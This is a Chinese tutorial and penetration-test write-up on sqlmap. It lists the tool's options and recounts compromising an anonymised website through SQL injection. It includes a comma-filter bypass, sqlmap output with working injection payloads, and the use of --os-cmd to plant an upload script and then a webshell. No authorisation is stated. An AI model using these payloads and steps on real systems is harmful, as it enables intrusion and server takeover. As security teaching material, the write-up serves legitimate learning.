sqlmap与一次渗透实战

sqlmap简介

sqlmap是一个渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它有功能强大的检测引擎,针对各种数据库的渗透测试的功能选项,能够获取数据库中存储的数据,访问操作系统文件,执行操作系统命令等。
以下是简单的参数介绍:

请求

命令 注释
- -date=DATE #通过post发送数据:
- -cookie=COOKIE #cookie头的值
- -user-agent=AGENT #指定http user-agent头
- -random-agent #使用随机user-agent头
- -tor #使用匿名网络
- -proxy=IP #设置代理
- -timeout #超时等待时间

获取数据

命令 注释
-a #检查一切
- -users #数据库用户账户
- -password #数据库账户密码
- -is-dba #是否为root用户
- -dbs #枚举数据库
- -tables #枚举数据表
- -columns #枚举字段
- -count #检索表的条目数
- -dump #转储数据库的表项
- -dump-all #转储所有

操作系统

命令 注释
- -os-cmd=CMD #执行cmd命令
- -os-shell #建立shell
- -os-pwn #获取OOB shell,meterpreter,vnc ,例:sqlmap -u xxx –os-pwn msf-path /usr/share/metasploit-framework/
- -os-bof #存储过程缓冲区溢出
- -priv-esc #数据库进程用户权限提升
- -reg-read #读取注册表项
- -reg-add #添加注册表项
- -reg-del #删除注册表项

注:使用–os 命令会向目标写入一个文件上传脚本,然后通过该上传脚本上传shell、meterpreter等,并修改权限(phpversion<4.1.0时).

一次渗透

对某网站进行渗透

前期信息搜集

搜索该域名及IP,未发现有用信息.
使用御剑对网站目录进行扫描,未发现敏感信息:

在网站上也未找到后台和robots.txt.

发现sql注入

但是在一个查询页面发现了sql注入漏洞:

对这个点进行测试发现过滤了逗号,可以通过union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)的方式绕过,尝试使用”into outfile”写文件却未成功,于是用sqlmap进行渗透.
输入命令:sqlmap.py -u “http://www.xxxx.com/cj.php?code=1" ,获得以下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[15:38:05] [INFO] resuming back-end DBMS 'mysql'
[15:38:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: code (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: code=1' OR NOT 9500=9500#

Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: code=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171716271,(SELECT (ELT(6682=6682,1))),0x716a6a6b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBii

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: code=1' OR SLEEP(5)-- KVCY

Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: code=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x53415242557265476b6b777379697a4173616e47734c4c4b555a45534a6e614e476178754e634253,0x716a6a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[15:38:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.4.33
back-end DBMS: MySQL >= 5.5

可知该sql注入漏洞可以利用,并且获得了系统信息、数据库信息等等.

利用sql注入

由于不知道网站后台,即使通过sql注入漏洞获取账号密码也不能完成任务,不过我们可以利用该漏洞在目标服务器上写一个文件上传脚本,然后上传webshell.
输入命令:sqlmap.py -u “http://www.xxx.com/cj.php?code=1" - -os-cmd=ipconfig, 然后配置参数,因为不清楚路径,所以选择Y,让sqlmap自动获取路径:

执行后可以看到sqlmap获取了路径,并且写入了两个脚本,其中第一个就是文件上传脚本,第二个是执行cmd命令的脚本,但是执行失败了,不过我们写入文件上传脚本的目的达成了.

上传webshell完成渗透

利用前面sqlmap写入的文件上传脚本tmpuugsd.php向目标上传大马

最后利用webshell成功完成渗透任务.

总结

这次渗透关键一步是利用sqlmap写入一个文件上传脚本,如果不清楚- -os 命令的原理可能不能快速完成任务,因此在平时的学习中要注意了解各类工具的原理.另外在获取webshell后才发现网站后台是admin+名称!!!说明信息搜集不够完美,思路不够开拓,今后需要注意完善.